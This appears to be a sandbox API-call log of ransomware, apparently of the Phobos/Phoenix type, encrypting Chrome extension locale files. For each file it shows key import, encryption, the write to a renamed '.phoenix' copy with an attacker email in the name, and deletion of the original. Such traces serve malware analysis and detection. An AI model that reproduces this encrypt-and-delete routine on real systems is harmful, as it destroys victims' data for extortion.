	[0265.129] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.129] CryptDestroyKey (hKey=0x151040) returned 1
	[0265.129] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.129] CryptDestroyKey (hKey=0x151180) returned 1
	[0265.129] CloseHandle (hObject=0x308) returned 1
	[0265.129] CloseHandle (hObject=0x2f0) returned 1
	[0265.129] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json")) returned 1
	[0265.130] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.131] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16390) returned 1
	[0265.131] CloseHandle (hObject=0x2f0) returned 1
	[0265.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json")) returned 0x20
	[0265.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.131] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.131] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.131] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.131] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.132] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0265.132] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.132] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4006, lpOverlapped=0x0) returned 1
	[0265.191] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4010, dwBufLen=0x4010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4010) returned 1
	[0265.191] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4010, lpOverlapped=0x0) returned 1
	[0265.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0265.192] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.192] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.192] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.192] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.192] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.192] CloseHandle (hObject=0x2f0) returned 1
	[0265.192] CloseHandle (hObject=0x308) returned 1
	[0265.193] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\pt\\messages.json")) returned 1
	[0265.193] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.194] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16603) returned 1
	[0265.194] CloseHandle (hObject=0x308) returned 1
	[0265.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json")) returned 0x20
	[0265.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.194] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.194] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.194] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.195] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0265.195] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.195] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x40db, lpOverlapped=0x0) returned 1
	[0265.340] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40e0) returned 1
	[0265.340] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x40e0, lpOverlapped=0x0) returned 1
	[0265.341] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0265.341] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.341] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.341] CryptDestroyKey (hKey=0x151780) returned 1
	[0265.341] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.341] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0265.341] CloseHandle (hObject=0x308) returned 1
	[0265.342] CloseHandle (hObject=0x2f0) returned 1
	[0265.342] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ro\\messages.json")) returned 1
	[0265.355] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.355] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.356] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16506) returned 1
	[0265.356] CloseHandle (hObject=0x2f0) returned 1
	[0265.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json")) returned 0x20
	[0265.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.356] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.356] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.357] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0265.357] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.357] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x407a, lpOverlapped=0x0) returned 1
	[0265.375] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4080, dwBufLen=0x4080 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4080) returned 1
	[0265.375] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4080, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4080, lpOverlapped=0x0) returned 1
	[0265.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0265.376] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.376] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.376] CryptDestroyKey (hKey=0x151540) returned 1
	[0265.376] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.376] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0265.376] CloseHandle (hObject=0x2f0) returned 1
	[0265.376] CloseHandle (hObject=0x308) returned 1
	[0265.377] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sl\\messages.json")) returned 1
	[0265.377] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.378] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16011) returned 1
	[0265.378] CloseHandle (hObject=0x308) returned 1
	[0265.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json")) returned 0x20
	[0265.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.378] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.378] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.379] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.379] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.379] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0265.379] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.379] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3e8b, lpOverlapped=0x0) returned 1
	[0265.392] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3e90, dwBufLen=0x3e90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3e90) returned 1
	[0265.392] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3e90, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3e90, lpOverlapped=0x0) returned 1
	[0265.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0265.393] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.393] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.393] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.393] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.393] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.393] CloseHandle (hObject=0x308) returned 1
	[0265.393] CloseHandle (hObject=0x2f0) returned 1
	[0265.394] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\sw\\messages.json")) returned 1
	[0265.395] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.395] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.397] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=22077) returned 1
	[0265.397] CloseHandle (hObject=0x2f0) returned 1
